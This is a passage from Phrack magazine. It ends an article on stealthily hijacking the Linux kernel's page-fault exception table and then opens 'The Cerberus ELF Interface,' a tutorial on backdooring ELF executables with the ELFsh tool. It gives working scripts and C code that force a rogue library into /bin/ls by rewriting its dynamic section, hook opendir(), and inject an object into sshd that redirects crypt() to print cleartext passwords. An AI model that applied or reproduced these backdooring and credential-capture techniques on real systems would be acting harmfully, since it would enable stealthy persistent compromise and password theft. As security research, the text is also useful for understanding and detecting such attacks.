As result, __idt_table will store the IDT address thus easily obtaining the "reference mark" to the IDT. This is done through using sidt asm instruction. AngeL, in its latest development releases 0.9.x, uses this approach and it's able to detect in real‑time an attack based on what stated in [7].

Now think again about what I discussed in the previous sections. It's easy to understand that obtaining a "reference mark" to the page fault exception table is not so straightforward as in the previous cases.

The only way for retrieving the page fault exception table address is through System.map file.

While writing a detection tool whose aim is to detect this kind of attack, making the assumption that the System.map file refers to the currently running kernel could be counterproductive. In fact, if it weren't true, the detection tool could start monitor addresses where not important (obviously for the purposes of this article) kernel data reside.

Remember that it's easy to generate a System.map file through using nm(2) but there are a lot of systems out there whose administrators simply ignore the role of System.map and don't maintain it synchronized with the currently running kernel.

‑‑ [ 6 ‑ Conclusions

Modifying the page fault handler exception table is quite simple as we realized. Moreover, it is really stealth since it's possible to obtain great results just modifying 4 bytes in the kernel memory. In my proof of concept code, for the sake of simplicity, I modified 12 bytes but it's easy to realize that it's possible to obtain the same result just modifying the __get_user_4() fixup code address.

Moreover, it's difficult to find out there programs with bugs of this kind which raise this kind of behaviour. Remember that for raising this behaviour you have to pass a wrong address to a syscall. How many programs doing this have you seen? I think that this kind of approach is really stealth since this situation is never encountered. In fact, these are bugs that, if present, are usually corrected by the author before distributing their programs. The kernel must implement the approach outlined before but it usually never needs to execute it.

‑‑ [ 7 ‑ Thanks

Many thanks to Antifork Research guys... really cool to work with you!

‑‑ [ 8 ‑ References

[1] "Understanding the Linux Kernel"

Daniel P. Bovet and Marco Cesati

O'Reilly

[2] "Linux Device Drivers"

Alessandro Rubini and Jonathan Corbet

O'Reilly

[3] Linux kernel source

[http://www.kernel.org]

[4] "Syscall Redirection Without Modifying the Syscall Table" Silvio Cesare

[http://www.big.net.au/~silvio/]

[5] Kstat

[http://www.s0ftpj.org/en/tools.html]

[6] AngeL

[http://www.sikurezza.org/angel]

[7] "Handling Interrupt Descriptor Table for Fun and Profit" kad

Phrack59‑0x04

[http://www.phrack.org]

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Cerberus ELF interface

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑ .:: Devhell Labs and Phrack Magazine present ::. ‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Cerberus ELF Interface ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ mayhem <mayhem@devhell.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

1. Introduction

2. Quick and usable backdoor in 4 bytes

a/ The .dynamic section

b/ DT_NEEDED and DT_DEBUG entries

c/ Performing function hijacking

d/ Example 1: ls and opendir()

3. Residency : ET_REL injection into ET_EXEC

a/ Section injection : pre‑interp vs post‑bss

b/ Multiple BSS merging

c/ Symbol tables merging

d/ Mixing (a,b,c) for injecting a module into an executable e/ Example 2: sshd and crypt()

f/ Multi‑architecture algorithms

g/ ELFsh 0.51b relocation engine implementation details 4. Infection : ALTPLT technique

a/ Foundations of ALTPLT

b/ ALTPLT on SPARC

c/ Example 3: md5sum and fopen64()

d/ Multi‑architecture algorithm

e/ Improvement suggestions for the redir command

5. The end ?

6. Greets

7. References

‑‑‑‑‑‑‑[ 1. Introduction

This article introduces three new generic techniques in ELF (Executable and Linking Format) objects manipulation. The first presented one is designed to be simple and quickly implemented, others are more complex and allow advanced software extension without having the source tree. These techniques can be used for a wide panel of requirements such as closed‑source software debugging, software extension, backdooring, virii writing, intrusion detection and intrusion prevention.

The examples will make use of the ELF shell [1], a freely available scripting language to modify ELF binaries. It works on two architectures (INTEL and SPARC) and four operating systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the techniques work even if the target machine is installed with address space randomization and execution restriction, such as PaX [2] protected boxes, since all the code injection is done in the allowed areas.

ELF basics ‑will not‑ be explained, if you have troubles understanding the article, please read the ELF TIS [3] reference before requesting extra details ;). You can also try another resource [4] which is a good introduction to the ELF format, from the virus writing perspective.

In the first part of the paper, an easy and pragmatic technique for backdooring an executable will be described, just by changing 4 bytes. It consists of corrupting the .dynamic section of the binary (2) and erase some entries (DT_DEBUG) for adding others (DT_NEEDED), plus swapping existing DT_NEEDED entries to give priority to certain symbols, all of this without changing the file size.

The second part describes a complex residency technique, which consists of adding a module (relocatable object ET_REL, e.g. a .o file) into an executable file (ET_EXEC) as if the binary was not linked yet. This technique is provided for INTEL and SPARC architectures : compiled C code can thus be added permanently to any ELF32 executable.

Finally, a new infection technique called ALTPLT (4) will be explained. This feature is an extension of PLT infection [5] and works in correlation with the ET_REL injection. It consists of duplicating the Procedure Linkage Table and inject symbols onto each entry of the alternate PLT. The advantages of this technique are the relative portability (relative because we will see that minor architecture dependant fixes are necessary), its PaX safe bevahior as well, and the ability to call the original function from the hook function without having to perform painful tasks like runtime byte restoration.

Example ELFsh scripts are provided for all the explained techniques. However, no ready‑to‑use backdoors will be included (do you own!). For peoples who did not want to see these techniques published, I would just argue that all of

them have been available for a couple of months for those who wanted, and new techniques are already in progress. These ideas were born from a good exploitation of the information provided in the ELF reference and nothing was ripped to anyone. I am not aware of any implementation providing these features, but if you feel injuried, you can send flame emails and my bot^H^H^H^H^H^H I will kindly answer all of them.

‑‑‑‑‑‑‑[ 2. Quick and usable backdoor in 4 bytes

Every dynamic executable file contains a .dynamic section. This zone is useful for the runtime linker in order to access crucial information at runtime without requiring a section header table (SHT), since the .dynamic section data matches the bounds of the PT_DYNAMIC segment entry of the Program Header Table (PHT). Useful information includes the address and size of relocation tables, the addresses of initialization and destruction routines, the addresses of version tables, pathes for needed libraries, and so on. Each entry of .dynamic looks like this, as shown in elf.h :

typedef struct

{

Elf32_Sword d_tag; /* Dynamic entry type */

union

{

Elf32_Word d_val; /* Integer value */

Elf32_Addr d_ptr; /* Address value */

} d_un;

} Elf32_Dyn;

For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is the related value. Let's use the elfsh '‑d' option to print the dynamic section:

‑‑‑‑‑BEGIN EXAMPLE 1‑‑‑‑‑

$ elfsh ‑f /bin/ls ‑d

[*] Object /bin/ls has been loaded (O_RDONLY)

[SHT_DYNAMIC]

[Object /bin/ls]

[00] Name of needed library => librt.so.1 {DT_NEEDED} [01] Name of needed library => libc.so.6 {DT_NEEDED} [02] Address of init function => 0x08048F88 {DT_INIT} [03] Address of fini function => 0x0804F45C {DT_FINI} [04] Address of symbol hash table => 0x08048128 {DT_HASH} [05] Address of dynamic string table => 0x08048890 {DT_STRTAB} [06] Address of dynamic symbol table => 0x08048380 {DT_SYMTAB} [07] Size of string table => 821 bytes {DT_STRSZ} [08] Size of symbol table entry => 16 bytes {DT_SYMENT} [09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG} [10] Processor defined value => 0x0805348C {DT_PLTGOT} [11] Size in bytes for .rel.plt => 560 bytes {DT_PLTRELSZ} [12] Type of reloc in PLT => 17 {DT_PLTREL} [13] Address of .rel.plt => 0x08048D58 {DT_JMPREL} [14] Address of .rel.got section => 0x08048D20 {DT_REL} [15] Total size of .rel section => 56 bytes {DT_RELSZ} [16] Size of a REL entry => 8 bytes {DT_RELENT} [17] SUN needed version table => 0x08048CA0 {DT_VERNEED} [18] SUN needed version number => 2 {DT_VERNEEDNUM} [19] GNU version VERSYM => 0x08048BFC {DT_VERSYM}

[*] Object /bin/ls unloaded

$

‑‑‑‑‑END EXAMPLE 1‑‑‑‑‑

The careful reader would have noticed a strange entry of type DT_DEBUG. This entry is used in the runtime linker to retrieve debugging information, it is present in all GNU tools generated binaries but it is not mandatory. The idea is to erase it using a forged DT_NEEDED, so that an extra library dependance is added to the executable.

The d_val field of a DT_NEEDED entry contains a relative offset from the beginning of the .dynstr section, where we can find the library path for this entry. What happens if we want to avoid injecting an extra library path string into the .dynstr section ?

‑‑‑‑‑BEGIN EXAMPLE 2‑‑‑‑‑

$ elfsh ‑f /bin/ls ‑X dynstr | grep so

.dynstr + 16 6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock .dynstr + 48 696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so. .dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp .dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso $

‑‑‑‑‑END EXAMPLE 2‑‑‑‑‑

We just have to choose an existing library path string, but avoid starting at the beginning ;). The ELF reference specifies clearly that a same string in .dynstr can be used by multiple entries at a time:

‑‑‑‑‑BEGIN EXAMPLE 3‑‑‑‑‑

$ cat > /tmp/newlib.c

function()

{

printf("my own fonction \n");

}

$ gcc ‑shared /tmp/newlib.c ‑o /lib/rt.so.1

$ elfsh

Welcome to The ELF shell 0.5b9 .::.

.::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software

[ELFsh‑0.5b9]$ load /bin/ls

[*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003

[ELFsh‑0.5b9]$ d DT_NEEDED|DT_DEBUG

[SHT_DYNAMIC]

[Object /bin/ls]

[00] Name of needed library => librt.so.1 {DT_NEEDED} [01] Name of needed library => libc.so.6 {DT_NEEDED} [09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG}

[ELFsh‑0.5b9]$ set 1.dynamic[9].tag DT_NEEDED

[*] Field set succesfully

[ELFsh‑0.5b9]$ set 1.dynamic[9].val 19# see .dynstr + 19 [*] Field set succesfully

[ELFsh‑0.5b9]$ save /tmp/ls.new

[*] Object /tmp/ls.new saved successfully

[ELFsh‑0.5b9]$ quit

[*] Unloading object 1 (/bin/ls) *

Good bye ! .::. The ELF shell 0.5b9

$

‑‑‑‑‑END EXAMPLE 3‑‑‑‑‑

Lets verify our changes:

‑‑‑‑‑BEGIN EXAMPLE 4‑‑‑‑‑

$ elfsh ‑f ls.new ‑d DT_NEEDED

[*] Object ls.new has been loaded (O_RDONLY)

[SHT_DYNAMIC]

[Object ls.new]

[00] Name of needed library => librt.so.1 {DT_NEEDED} [01] Name of needed library => libc.so.6 {DT_NEEDED} [09] Name of needed library => rt.so.1 {DT_NEEDED}

[*] Object ls.new unloaded

$ ldconfig # refresh /etc/ld.so.cache

$

‑‑‑‑‑END EXAMPLE 4‑‑‑‑‑

This method is not extremely stealth because a simple command can list all the library dependances for a given binary:

$ ldd /tmp/ls.new

librt.so.1 => /lib/librt.so.1 (0x40021000) libc.so.6 => /lib/libc.so.6 (0x40033000)

rt.so.1 => /lib/rt.so.1 (0x40144000)

libpthread.so.0 => /lib/libpthread.so.0 (0x40146000) /lib/ld‑linux.so.2 => /lib/ld‑linux.so.2 (0x40000000)

$

Is the executable still working?

$ ./ls.new

AcroOlAAFj ELFSH_DEBUG ls.new newlib.c

$

OK, so we found a good way to inject as much code as we want in a process, by adding a library dependance to the main object, the executable object. Now what if we want to hijack functions with such an easy technique? We can force some symbols to get resolved in priority over other symbols : when the runtime relocation is done (when the .got section is patched), the runtime linker will iterate on the link_map [6] [7] [8] list, find the first matching symbol, and fill the Global Offset Table related entry (or the Procedure Linkage Table entry if we are on SPARC) with the absolute runtime address where the function is mapped. A simple technique consists of swapping DT_NEEDED entries and make our own library to be present before other libraries in the link_map double linked list, and symbols to be resolved before the original symbols. In order to call the original function from the hook function, we will have to use dlopen(3) and dlsym(3) so that we can resolve a symbol for a given object.

Lets take the same code, and this time, write a script which can hijack opendir(3) to our own function(), and then call the original opendir(), so that the binary can be run normally:

‑‑‑‑‑BEGIN EXAMPLE 5‑‑‑‑‑

$ cat dlhijack.esh

#!/usr/bin/elfsh

load /bin/ls

# Move DT_DEBUG into DT_NEEDED

set 1.dynamic[9].tag DT_NEEDED

# Put the former DT_DEBUG entry value to the first DT_NEEDED value set 1.dynamic[9].val 1.dynamic[0].val

# Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1 add 1.dynamic[0].val 3

save ls.new

quit

$

‑‑‑‑‑END EXAMPLE 5‑‑‑‑‑

Now let's write the opendir hook code:

‑‑‑‑‑BEGIN EXAMPLE 6‑‑‑‑‑

$ cat myopendir.c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

#include <fcntl.h>

#include <dirent.h>

#include <dlfcn.h>

#define LIBC_PATH "/lib/libc.so.6"

DIR *opendir(const char *name)

{

void *handle;

void *(*sym)(const char *name);

handle = dlopen(LIBC_PATH, RTLD_LAZY);

sym = (void *) dlsym(handle, "opendir"); printf("OPENDIR HIJACKED ‑orig‑ = %08X .::. ‑param‑ = %s \n", sym, name);

return (sym(name));

}

$ gcc ‑shared myopendir.c ‑o rt.so.1 ‑ldl

$

‑‑‑‑‑END EXAMPLE 6‑‑‑‑‑

Now we can modify the binary using our 4 lines script:

‑‑‑‑‑BEGIN EXAMPLE 7‑‑‑‑‑

$ ./dlhijack.esh

Welcome to The ELF shell 0.5b9 .::.

.::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software

~load /bin/ls

[*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003

~set 1.dynamic[9].tag DT_NEEDED

[*] Field set succesfully

~set 1.dynamic[9].val 1.dynamic[0].val

[*] Field set succesfully

~add 1.dynamic[0].val 3

[*] Field modified succesfully

~save ls.new

[*] Object ls.new save successfully

~quit

[*] Unloading object 1 (/bin/ls) *

Good bye ! .::. The ELF shell 0.5b9

$

‑‑‑‑‑END EXAMPLE 7‑‑‑‑‑

Let's see the results for the original ls, and then for the modified ls:

$ ldd ls.new

rt.so.1 => /lib/rt.so.1 (0x40021000) libc.so.6 => /lib/libc.so.6 (0x40023000) librt.so.1 => /lib/librt.so.1 (0x40134000) libdl.so.2 => /lib/libdl.so.2 (0x40146000) /lib/ld‑linux.so.2 => /lib/ld‑linux.so.2 (0x40000000) libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000) $ ls

c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \ myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1

$ ./ls.new

OPENDIR HIJACKED ‑orig‑ = 400C1D5C .::. ‑param‑ = .

c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \ myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1

$

Nice. Note that the current implementation of this technique in ELFsh changes the size of the binary because it injects automatically some symbols for binary sanity. If you want to keep the same size, you have to comment the calls to elfsh_fixup_symtab in the ELFsh source code ;) . This stuff is known to be used in the wild.

The dynamic version of this technique has been proposed in [9], where the author describes how to call dlopen() in a subversive way, so that the process get runtime linked with an extra library. In practice, both implementations have nothing in common, but it is worth mentionning.

‑‑‑‑‑‑‑[ 3. Residency : ET_REL injection into ET_EXEC

This second technique allows to perform relinking of the ELF ET_EXEC binary file and adding a relocatable object (ET_REL file aka .o file) into the program address space. This is very useful since it is a powerful method to inject as much data and code as needed in a file using a 5 lines script.

Such relocation based backdoors have been developped in the past for static kernel patching [10] (ET_REL into vmlinuz) and direct LKM loading in kernel memory (ET_REL into kmem) [11] . However, this ET_REL injection into ET_EXEC implementation is in my sense particulary interresting since it has been implemented considering a larger scope of target architectures and for protected environments.

Because ELFsh is also used for things other than backdooring, the SHT and the symbol table are kept synchronized when we insert our stuff into the binary, so that symbol resolving can be provided even in the injected code.

Since the backdoor needs to stay valid on a PaX protected box, we use 2 different injection techniques (one for the code sections, the other for the data sections) called section pre‑interp injection (because we insert the new section before the .interp section) and section post‑bss injection (because we insert the new section after the .bss section).

For this second injection type, .bss data physical insertion into the file is necessary, since .bss is the non‑initialized data section, it is only referenced by the SHT and PHT, but it is not present in the file.

Also, note that section pre‑interp injection is not possible with the current FreeBSD dynamic linker (some assert() kills the modified binary), so all sections are injected using a post‑bss insertion on this OS. This is not an issue since FreeBSD does not come with non‑executable protection for datapages. If such a protection comes in the future, we would have to modify the dynamic linker itself before being able to run the modified binary, or make the code segment writable in sh_flags.

Let's look at the binary layout (example is sshd, it is the same for all the binaries) :

‑‑‑‑‑BEGIN EXAMPLE 8‑‑‑‑‑

$ elfsh ‑f /usr/sbin/sshd ‑q ‑s ‑p

[SECTION HEADER TABLE .::. SHT is not stripped]

[Object /usr/sbin/sshd]

[000] (nil) ‑‑‑‑‑‑‑ foff:00000000 sz:00000000 link:00

[001] 0x80480f4 a‑‑‑‑‑‑ .interp foff:00000244 sz:00000019 link:00 [002] 0x8048108 a‑‑‑‑‑‑ .note.ABI‑tag foff:00000264 sz:00000032 link:00 [003] 0x8048128 a‑‑‑‑‑‑ .hash foff:00000296 sz:00001784 link:04 [004] 0x8048820 a‑‑‑‑‑‑ .dynsym foff:00002080 sz:00003952 link:05 [005] 0x8049790 a‑‑‑‑‑‑ .dynstr foff:00006032 sz:00002605 link:00 [006] 0x804a1be a‑‑‑‑‑‑ .gnu.version foff:00008638 sz:00000494 link:04 [007] 0x804a3ac a‑‑‑‑‑‑ .gnu.version_r foff:00009132 sz:00000096 link:05 [008] 0x804a40c a‑‑‑‑‑‑ .rel.got foff:00009228 sz:00000008 link:04 [009] 0x804a414 a‑‑‑‑‑‑ .rel.bss foff:00009236 sz:00000056 link:04 [010] 0x804a44c a‑‑‑‑‑‑ .rel.plt foff:00009292 sz:00001768 link:04 [011] 0x804ab34 a‑x‑‑‑‑ .init foff:00011060 sz:00000037 link:00 [012] 0x804ab5c a‑x‑‑‑‑ .plt foff:00011100 sz:00003552 link:00 [013] 0x804b940 a‑x‑‑‑‑ .text foff:00014656 sz:00145276 link:00 [014] 0x806f0bc a‑x‑‑‑‑ .fini foff:00159932 sz:00000028 link:00 [015] 0x806f0e0 a‑‑‑‑‑‑ .rodata foff:00159968 sz:00068256 link:00 [016] 0x8080b80 aw‑‑‑‑‑ .data foff:00228224 sz:00003048 link:00 [017] 0x8081768 aw‑‑‑‑‑ .eh_frame foff:00231272 sz:00000004 link:00 [018] 0x808176c aw‑‑‑‑‑ .ctors foff:00231276 sz:00000008 link:00 [019] 0x8081774 aw‑‑‑‑‑ .dtors foff:00231284 sz:00000008 link:00 [020] 0x808177c aw‑‑‑‑‑ .got foff:00231292 sz:00000900 link:00 [021] 0x8081b00 aw‑‑‑‑‑ .dynamic foff:00232192 sz:00000200 link:05 [022] 0x8081bc8 ‑w‑‑‑‑‑ .sbss foff:00232416 sz:00000000 link:00 [023] 0x8081be0 aw‑‑‑‑‑ .bss foff:00232416 sz:00025140 link:00 [024] (nil) ‑‑‑‑‑‑‑ .comment foff:00232416 sz:00002812 link:00 [025] (nil) ‑‑‑‑‑‑‑ .note foff:00235228 sz:00001480 link:00 [026] (nil) ‑‑‑‑‑‑‑ .shstrtab foff:00236708 sz:00000243 link:00 [027] (nil) ‑‑‑‑‑‑‑ .symtab foff:00236951 sz:00000400 link:00 [028] (nil) ‑‑‑‑‑‑‑ .strtab foff:00237351 sz:00000202 link:00

[Program header table .::. PHT]

[Object /usr/sbin/sshd]

[0] 0x08048034 ‑> 0x080480F4 r‑x memsz(000192) foff(000052) filesz(000192) [1] 0x080480F4 ‑> 0x08048107 r‑‑ memsz(000019) foff(000244) filesz(000019) [2] 0x08048000 ‑> 0x0807FB80 r‑x memsz(228224) foff(000000) filesz(228224) [3] 0x08080B80 ‑> 0x08087E14 rw‑ memsz(029332) foff(228224) filesz(004168) [4] 0x08081B00 ‑> 0x08081BC8 rw‑ memsz(000200) foff(232192) filesz(000200) [5] 0x08048108 ‑> 0x08048128 r‑‑ memsz(000032) foff(000264) filesz(000032)

[Program header table .::. SHT correlation]

[Object /usr/sbin/sshd]

[*] SHT is not stripped

[00] PT_PHDR

[01] PT_INTERP .interp

[02] PT_LOAD .interp .note.ABI‑tag .hash .dynsym .dynstr \ .gnu.version .gnu.version_r .rel.got .rel.bss \ .rel.plt .init .plt .text .fini .rodata

[03] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic [04] PT_DYNAMIC .dynamic

[05] PT_NOTE .note.ABI‑tag

$

‑‑‑‑‑END EXAMPLE 8‑‑‑‑‑

We have here two loadable segments, one is executable (matches the code segment) and the other is writable (matches the data segment).

What we have to do is to inject all non‑writable sections before .interp (thus in the code segment), and all other section's after .bss in the data segment. Let's code a handler for crypt() which prints the clear password and exit. In this first example, we will use GOT redirection [12] and hijack crypt() which stays in the libc:

‑‑‑‑‑BEGIN EXAMPLE 9‑‑‑‑‑

$ cat mycrypt.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

int glvar = 42;

int bssvar;

char *mycrypt(const char *key, const char *salt)

{

bssvar = 2;

printf(".:: crypt redirected ‑key‑ = %s (%u .::. %u) \n", key, glvar, bssvar);

exit(0);

}

$ gcc ‑c mycrypt.c

$

‑‑‑‑‑END EXAMPLE 9‑‑‑‑‑

Using the 'reladd' command, we will inject mycrypt.o into sshd:

‑‑‑‑‑BEGIN EXAMPLE 10‑‑‑‑‑

$ cat etreladd.esh

#!/usr/bin/elfsh

load /usr/sbin/sshd

load mycrypt.o

# Inject mycrypt.o into sshd

reladd 1 2

# Modify crypt() got entry and make it point on mycrypt() which resides # into mycrypt.o

set 1.got[crypt] mycrypt

save sshd.new

quit

$ ./etreladd.esh

Welcome to The ELF shell 0.5b9 .::.

.::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software

~load /usr/sbin/sshd

[*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003

~load mycrypt.o

[*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003

~reladd 1 2

[*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd

~set 1.got[crypt] mycrypt

[*] Field set succesfully

~save sshd.new

[*] Object sshd.new save successfully

~quit

[*] Unloading object 1 (mycrypt.o)

[*] Unloading object 2 (/usr/sbin/sshd) *

Good bye ! .::. The ELF shell 0.5b9

$

‑‑‑‑‑END EXAMPLE 10‑‑‑‑‑

Our script rocked. As I said, the symbol tables and the .bss from the module have been fused with those from the executable file and the SHT has been kept synchronized, so that resolving is also possible in the injected code:

‑‑‑‑‑BEGIN EXAMPLE 11‑‑‑‑‑

$ elfsh ‑f sshd.new ‑q ‑s ‑p

[SECTION HEADER TABLE .::. SHT is not stripped]

[Object sshd.new]

[00] (nil) ‑‑‑‑‑‑‑ foff:00000000 sz:00000000 link:00

[01] 0x80450f4 a‑x‑‑‑‑ .orig.plt foff:00000244 sz:00004096 link:00 [02] 0x80460f4 a‑‑‑‑‑‑ mycrypt.o.rodata foff:00004340 sz:00004096 link:00 [03] 0x80470f4 a‑x‑‑‑‑ mycrypt.o.text foff:00008436 sz:00004096 link:00 [04] 0x80480f4 a‑‑‑‑‑‑ .interp foff:00012532 sz:00000019 link:00 [05] 0x8048108 a‑‑‑‑‑‑ .note.ABI‑tag foff:00012552 sz:00000032 link:00 [06] 0x8048128 a‑‑‑‑‑‑ .hash foff:00012584 sz:00001784 link:07 [07] 0x8048820 a‑‑‑‑‑‑ .dynsym foff:00014368 sz:00003952 link:08 [08] 0x8049790 a‑‑‑‑‑‑ .dynstr foff:00018320 sz:00002605 link:00 [09] 0x804a1be a‑‑‑‑‑‑ .gnu.version foff:00020926 sz:00000494 link:07 [10] 0x804a3ac a‑‑‑‑‑‑ .gnu.version_r foff:00021420 sz:00000096 link:08 [11] 0x804a40c a‑‑‑‑‑‑ .rel.got foff:00021516 sz:00000008 link:07 [12] 0x804a414 a‑‑‑‑‑‑ .rel.bss foff:00021524 sz:00000056 link:07 [13] 0x804a44c a‑‑‑‑‑‑ .rel.plt foff:00021580 sz:00001768 link:07 [14] 0x804ab34 a‑x‑‑‑‑ .init foff:00023348 sz:00000037 link:00 [15] 0x804ab5c a‑x‑‑‑‑ .plt foff:00023388 sz:00003552 link:00 [16] 0x804b940 a‑x‑‑‑‑ .text foff:00026944 sz:00145276 link:00 [17] 0x806f0bc a‑x‑‑‑‑ .fini foff:00172220 sz:00000028 link:00 [18] 0x806f0e0 a‑‑‑‑‑‑ .rodata foff:00172256 sz:00068256 link:00 [19] 0x8080b80 aw‑‑‑‑‑ .data foff:00240512 sz:00003048 link:00 [20] 0x8081768 aw‑‑‑‑‑ .eh_frame foff:00243560 sz:00000004 link:00 [21] 0x808176c aw‑‑‑‑‑ .ctors foff:00243564 sz:00000008 link:00 [22] 0x8081774 aw‑‑‑‑‑ .dtors foff:00243572 sz:00000008 link:00 [23] 0x808177c aw‑‑‑‑‑ .got foff:00243580 sz:00000900 link:00 [24] 0x8081b00 aw‑‑‑‑‑ .dynamic foff:00244480 sz:00000200 link:08 [25] 0x8081bc8 ‑w‑‑‑‑‑ .sbss foff:00244704 sz:00000000 link:00 [26] 0x8081be0 aw‑‑‑‑‑ .bss foff:00244704 sz:00025144 link:00 [27] 0x8087e18 aw‑‑‑‑‑ mycrypt.o.data foff:00269848 sz:00000004 link:00 [28] (nil) ‑‑‑‑‑‑‑ .comment foff:00269852 sz:00002812 link:00 [29] (nil) ‑‑‑‑‑‑‑ .note foff:00272664 sz:00001480 link:00 [30] (nil) ‑‑‑‑‑‑‑ .shstrtab foff:00274144 sz:00000300 link:00 [31] (nil) ‑‑‑‑‑‑‑ .symtab foff:00274444 sz:00004064 link:00 [32] (nil) ‑‑‑‑‑‑‑ .strtab foff:00278508 sz:00003423 link:00

[Program header table .::. PHT]

[Object sshd.new]

[0] 0x08045034 ‑> 0x080450F4 r‑x memsz(000192) foff(000052) filesz(000192) [1] 0x080480F4 ‑> 0x08048107 r‑‑ memsz(000019) foff(012532) filesz(000019) [2] 0x08045000 ‑> 0x0807FB80 r‑x memsz(240512) foff(000000) filesz(240512) [3] 0x08080B80 ‑> 0x08087E1C rw‑ memsz(029340) foff(240512) filesz(029340) [4] 0x08081B00 ‑> 0x08081BC8 rw‑ memsz(000200) foff(244480) filesz(000200) [5] 0x08048108 ‑> 0x08048128 r‑‑ memsz(000032) foff(012552) filesz(000032)

[Program header table .::. SHT correlation]

[Object sshd.new]

[*] SHT is not stripped

[0] PT_PHDR

[1] PT_INTERP .interp

[2] PT_LOAD .orig.plt mycrypt.o.rodata mycrypt.o.text .interp .note.ABI‑tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.got .rel.bss .rel.plt .init .plt .text .fini .rodata

[3] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic .sbss .bss mycrypt.o.data

[4] PT_DYNAMIC .dynamic

[5] PT_NOTE .note.ABI‑tag

$

‑‑‑‑‑END EXAMPLE 11‑‑‑‑‑

The new sections can be easily spotted in the new SHT, since their name starts with the module name (mycrypt.o.*). Please elude the .orig.plt presence for the moment. This section is injected at ET_REL insertion time, but it is not used in this example and it will be explained as a stand‑alone technique in the next chapter.

We can see that the new BSS size is 4 bytes bigger than the original one. It is because the module BSS was only filled with one variable (bssvar), which was a 4 bytes sized integer since this specific example was done on a 32 bits architecture. The difficulty of this operation is to find the ET_REL object BSS section size, because it is set to 0 in the SHT. For this operation, we need to care about variable address alignement using the st_value field from each SHN_COMMON symbols of the ET_REL object, as specified by the ELF reference. Details for this algorithm are given later in the article.

It works on Solaris as well, even if ET_REL files generated by Solaris‑ELF ld have no .bss section entry in the SHT. The 0.51b2 implementation has one more limitation on Solaris, which

is a 'Malloc problem' happening at the first malloc() call when using a section post‑bss injection. You dont have to use this kind of section injection ; ET_REL injection works well on Solaris if you do not use initialized global variables. This problem has been solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols so that they still points on the beginning of the heap (e.g. at the end of the last post‑bss mapped section, or at the end of the bss, if there is no post‑bss mapped section).

Also, the .shstrtab, .symtab, and .strtab sections have been extended, and now contain extra symbol names, extra section names, and extra symbols copied from the ET_REL object.

You can note that pre‑interp injected sections base address is congruent getpagesize(), so that the executable segment always starts at the beginning of a page, as requested by the ELF reference. ELFsh could save some place here, instead of allocating the size of a page each time a section is injected, but that would complexify the algorithm a bit, so the congruence is kept for each inserted section.

The implementation has the cool advantage of ‑NOT‑ having to move the original executable address space, so that no relocation of the original code is needed. In other words, only the .o object sections are relocated and we can be sure that no false positive relocation is possible (e.g. we ‑DO NOT‑ have to find all references in the sshd code and patch them because the address space changed).

This is the injected code section's assembly dump, which contains the mycrypt function:

‑‑‑‑‑BEGIN EXAMPLE 12‑‑‑‑‑

$ elfsh ‑f sshd.new ‑q ‑D mycrypt.o.text

080470F4 mycrypt.o.text + 0 push %ebp 080470F5 mycrypt.o.text + 1 mov %esp,%ebp 080470F7 mycrypt.o.text + 3 sub $8,%esp 080470FA mycrypt.o.text + 6 mov $2,<bssvar> 08047104 mycrypt.o.text + 16 mov <bssvar>,%eax 08047109 mycrypt.o.text + 21 push %eax 0804710A mycrypt.o.text + 22 mov <glvar>,%eax 0804710F mycrypt.o.text + 27 push %eax 08047110 mycrypt.o.text + 28 mov 8(%ebp),%eax 08047113 mycrypt.o.text + 31 push %eax 08047114 mycrypt.o.text + 32 push $<mycrypt.o.rodata> 08047119 mycrypt.o.text + 37 call <printf> 0804711E mycrypt.o.text + 42 add $10,%esp 08047121 mycrypt.o.text + 45 add $0xFFFFFFF4,%esp 08047124 mycrypt.o.text + 48 push $0 08047126 mycrypt.o.text + 50 call <exit> 0804712B mycrypt.o.text + 55 add $10,%esp 0804712E mycrypt.o.text + 58 lea 0(%esi),%esi 08047134 mycrypt.o.text + 64 leave

